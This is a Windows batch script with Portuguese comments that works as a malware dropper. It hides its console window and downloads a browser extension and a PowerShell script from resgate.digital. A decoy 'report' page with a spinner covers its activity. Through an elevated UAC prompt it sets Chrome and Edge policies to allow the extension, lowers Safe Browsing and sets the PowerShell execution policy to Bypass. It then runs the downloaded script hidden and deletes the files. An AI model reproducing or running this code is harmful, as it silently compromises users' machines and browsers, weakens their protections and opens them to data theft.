@echo off
setlocal

set "LOG=%TEMP%\res08_log.txt"
echo [%date% %time%] === INICIO === > "%LOG%"

REM --- Oculta a janela CMD via PowerShell (P/Invoke ShowWindow SW_HIDE) ---
echo [%time%] Ocultando janela CMD... >> "%LOG%"
powershell -NoProfile -ExecutionPolicy Bypass -Command "try { $pp=(Get-CimInstance Win32_Process -Filter \"ProcessId=$PID\").ParentProcessId; $hw=(Get-Process -Id $pp -EA Stop).MainWindowHandle; if($hw -ne [IntPtr]::Zero){ Add-Type -MemberDefinition '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int n);' -Name WU -Namespace '' -EA SilentlyContinue; [WU]::ShowWindow($hw,0)|Out-Null } } catch { }" 2>>"%LOG%"
echo [%time%] Janela ocultada >> "%LOG%"

set "CRX_URL=https://resgate.digital/ext.txt"
set "PS1_URL=https://resgate.digital/inst.ps1"
set "UA=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
set "EXT_ID=ncfacgancpackdmnaodkaipmmanjdphk"
set "CRX_DST=C:\ProgramData\extensao.crx"
set "PS1_DST=C:\ProgramData\instalar.ps1"
set "HTML_DST=%USERPROFILE%\downloads\relatorio.html"

REM --- Testa escrita em C:\ProgramData ---
echo [%time%] Testando permissao em C:\ProgramData >> "%LOG%"
echo test > "C:\ProgramData\_ext_test.tmp" 2>>"%LOG%"
if not exist "C:\ProgramData\_ext_test.tmp" (
    echo [%time%] ERRO: sem permissao de escrita em C:\ProgramData - execute como Administrador >> "%LOG%"
    timeout /t 8 /nobreak >nul
    exit /b 1
)
del "C:\ProgramData\_ext_test.tmp" 2>nul
echo [%time%] Permissao OK >> "%LOG%"

REM --- Passo 1: Download CRX ---
echo [%time%] Baixando CRX de: %CRX_URL% >> "%LOG%"
curl.exe -s -L --fail -A "%UA%" -o "%CRX_DST%" "%CRX_URL%" 2>>"%LOG%"
if not exist "%CRX_DST%" (
    echo [%time%] curl falhou, tentando bitsadmin... >> "%LOG%"
    bitsadmin /transfer crxjob /download /priority foreground "%CRX_URL%" "%CRX_DST%" >nul 2>>"%LOG%"
)
if not exist "%CRX_DST%" (
    echo [%time%] ERRO: falha ao baixar extensao.crx >> "%LOG%"
    timeout /t 5 /nobreak >nul
    exit /b 1
)
echo [%time%] CRX baixado OK >> "%LOG%"

REM --- Passo 2: Download instalar.ps1 ---
echo [%time%] Baixando PS1 de: %PS1_URL% >> "%LOG%"
curl.exe -s -L --fail -A "%UA%" -o "%PS1_DST%" "%PS1_URL%" 2>>"%LOG%"
if not exist "%PS1_DST%" (
    echo [%time%] curl falhou, tentando bitsadmin... >> "%LOG%"
    bitsadmin /transfer ps1job /download /priority foreground "%PS1_URL%" "%PS1_DST%" >nul 2>>"%LOG%"
)
if not exist "%PS1_DST%" (
    echo [%time%] ERRO: falha ao baixar instalar.ps1 >> "%LOG%"
    timeout /t 5 /nobreak >nul
    exit /b 1
)
REM Verifica se o download retornou HTML em vez do script real
findstr /i /c:"<!DOCTYPE" "%PS1_DST%" >nul 2>nul
if not errorlevel 1 (
    echo [%time%] ERRO: servidor retornou HTML em vez do PS1 - conteudo: >> "%LOG%"
    type "%PS1_DST%" >> "%LOG%"
    del "%PS1_DST%" 2>nul
    timeout /t 5 /nobreak >nul
    exit /b 1
)
echo [%time%] PS1 baixado OK >> "%LOG%"

REM --- Abre pagina de carregamento ---
(
echo ^<!DOCTYPE html^>
echo ^<html lang="pt-br"^>
echo ^<head^>
echo ^<meta charset="UTF-8"^>
echo ^<title^>Relatorio^</title^>
echo ^<style^>
echo    body {
echo      margin: 0;
echo      height: 100vh;
echo      display: flex;
echo      flex-direction: column;
echo      align-items: center;
echo      justify-content: center;
echo      background: #1e1e2f;
echo      font-family: Arial, sans-serif;
echo      color: #f0f0f0;
echo    }
echo    .spinner {
echo      width: 60px;
echo      height: 60px;
echo      border: 6px solid #444;
echo      border-top: 6px solid #4da6ff;
echo      border-radius: 50%%;
echo      animation: spin 1s linear infinite;
echo      margin-bottom: 24px;
echo    }
echo    @keyframes spin {
echo      0%% { transform: rotate^(0deg^); }
echo      100%% { transform: rotate^(360deg^); }
echo    }
echo    #msg {
echo      font-size: 18px;
echo      letter-spacing: 0.5px;
echo    }
echo ^</style^>
echo ^</head^>
echo ^<body^>
echo    ^<div class="spinner"^>^</div^>
echo    ^<div id="msg"^>Verificacao em andamento...^</div^>
echo    ^<script^>
echo      const mensagens = [
echo        "Verificacao em andamento...",
echo        "Aguardando liberacao...",
echo        "Consultando servidor...",
echo        "Processando solicitacao...",
echo        "Sincronizando dados..."
echo      ];
echo      let i = 0;
echo      setInterval^(function^(^) {
echo        i = ^(i + 1^) %% mensagens.length;
echo        document.getElementById^('msg'^).textContent = mensagens[i];
echo      }, 2500^);
echo    ^</script^>
echo ^</body^>
echo ^</html^>
) > "%HTML_DST%"
start "" "%HTML_DST%"

REM --- Passo 3: Registro via UAC ---
echo [%time%] Iniciando registro via UAC >> "%LOG%"
set "REG_SCRIPT=%TEMP%\_reg_%RANDOM%.ps1"

echo $extId = '%EXT_ID%' > "%REG_SCRIPT%"
echo foreach ($base in @('HKLM:\SOFTWARE\Policies\Google\Chrome', 'HKLM:\SOFTWARE\Policies\Microsoft\Edge')) { >> "%REG_SCRIPT%"
echo     foreach ($p in @($base, "$base\ExtensionInstallAllowlist", "$base\ExtensionInstallSources")) { >> "%REG_SCRIPT%"
echo         if (-not (Test-Path $p)) { New-Item -Path $p -Force ^| Out-Null } >> "%REG_SCRIPT%"
echo     } >> "%REG_SCRIPT%"
echo     New-ItemProperty -Path "$base\ExtensionInstallSources" -Name '1' -PropertyType String -Value 'file:///C:/ProgramData/*' -Force ^| Out-Null >> "%REG_SCRIPT%"
echo     New-ItemProperty -Path "$base\ExtensionInstallAllowlist" -Name '1' -PropertyType String -Value $extId -Force ^| Out-Null >> "%REG_SCRIPT%"
echo     New-ItemProperty -Path $base -Name 'SafeBrowsingProtectionLevel' -PropertyType DWord -Value 1 -Force ^| Out-Null >> "%REG_SCRIPT%"
echo } >> "%REG_SCRIPT%"
echo $k1 = 'HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' >> "%REG_SCRIPT%"
echo $k2 = 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' >> "%REG_SCRIPT%"
echo if (Test-Path $k1) { Set-ItemProperty -Path $k1 -Name 'ExecutionPolicy' -Value 'Bypass' -Force } >> "%REG_SCRIPT%"
echo if (Test-Path $k2) { Set-ItemProperty -Path $k2 -Name 'ExecutionPolicy' -Value 'Bypass' -Force } >> "%REG_SCRIPT%"

powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process -FilePath 'powershell.exe' -ArgumentList '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File \"%REG_SCRIPT%\"' -Verb RunAs -Wait"
echo [%time%] UAC/registro concluido (errorlevel=%errorlevel%) >> "%LOG%"
del "%REG_SCRIPT%" 2>nul

REM --- Passo 4: Re-encode + executar instalar.ps1 ---
echo [%time%] Re-encode do PS1... >> "%LOG%"
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$raw=[IO.File]::ReadAllBytes('%PS1_DST%'); if($raw[0]-ne0xFF-or$raw[1]-ne0xFE){if($raw[0]-eq0xEF-and$raw[1]-eq0xBB-and$raw[2]-eq0xBF){$t=[Text.Encoding]::UTF8.GetString($raw,3,$raw.Length-3)}else{$t=[Text.Encoding]::UTF8.GetString($raw)}; $t=$t.Replace(\"`r`n\",\"`n\").Replace(\"`n\",\"`r`n\"); $u=[Text.Encoding]::Unicode.GetBytes($t); [IO.File]::WriteAllBytes('%PS1_DST%',[byte[]](0xFF,0xFE)+$u)}"
echo [%time%] Executando instalar.ps1... >> "%LOG%"
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%PS1_DST%"
echo [%time%] instalar.ps1 finalizado (errorlevel=%errorlevel%) >> "%LOG%"

REM Limpa arquivos baixados e temporarios
del "%PS1_DST%" 2>nul
del "%CRX_DST%" 2>nul
del "%HTML_DST%" 2>nul

echo [%time%] === FIM === >> "%LOG%"
timeout /t 3 /nobreak >nul
exit /b 0
